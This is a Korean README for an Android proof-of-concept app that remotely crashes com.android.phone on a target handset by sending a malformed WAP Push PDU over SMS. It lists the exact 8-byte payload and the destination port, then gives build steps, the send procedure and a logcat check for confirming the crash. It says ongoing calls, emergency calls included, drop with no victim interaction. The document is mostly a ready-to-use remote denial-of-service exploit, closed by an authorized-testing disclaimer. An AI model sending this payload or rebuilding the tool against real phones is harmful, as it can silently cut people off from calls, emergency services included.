markblah/smsofdeathSMS를 통해 잘못된 형식의 8바이트 WAP Push PDU를 전송하여 com.android.phone을 원격으로 크래시시키고, 대상 단말기의 통화를 조용히 끊어버리는 Android PoC 앱입니다.
SMS를 통해 조작된 8바이트 WAP Push PDU를 대상 단말로 전송하는 개념 증명(Proof-of-concept) Android 앱입니다. 이 잘못된 형식의 PDU는 WapPushOverSms.decodeWapPdu에서 NegativeArraySizeException을 발생시키며, 이 예외는 InboundSmsHandler에서 처리되지 않고 수신 기기의 com.android.phone을 종료시킵니다. 그 결과 피해자의 조작 없이도 진행 중인 통화(긴급 통화 포함)가 끊어집니다.
전체 해설: https://smsofdeath.com/
01 06 88 80 80 80 00 BE → sent as a data SMS to port 2948
./gradlew assembleDebug
출력: app/build/outputs/apk/debug/app-debug.apk
Android SDK가 필요합니다. SDK 경로를 포함한 local.properties를 생성하세요 (Android Studio는 이를 자동으로 생성합니다):
sdk.dir=/path/to/Android/sdk
발신 기기에 설치하고, 대상 번호를 입력하거나(또는 활성 SIM에서 자동 채우기) 발신 SIM을 선택한 후 SEND CRASH SMS를 탭하세요. 대상 기기에서 다음을 관찰하세요:
adb logcat | grep -E 'NegativeArraySize|WapPushOverSms|com.android.phone'
예상 결과: 약 1~2초 이내에 com.android.phone에서 FATAL EXCEPTION이 발생하고 해당 프로세스의 PID가 변경되며, 일시적인 신호 손실이 나타납니다.
minSdk 30, targetSdk/compileSdk 35.SEND_SMS, READ_PHONE_NUMBERS, READ_PHONE_STATE 권한이 필요합니다.소유하고 있거나 테스트에 대한 명시적 허가를 받은 기기에서의 승인된 보안 연구 및 테스트용입니다. 동의 없이 시스템이나 사람을 대상으로 사용하지 마세요.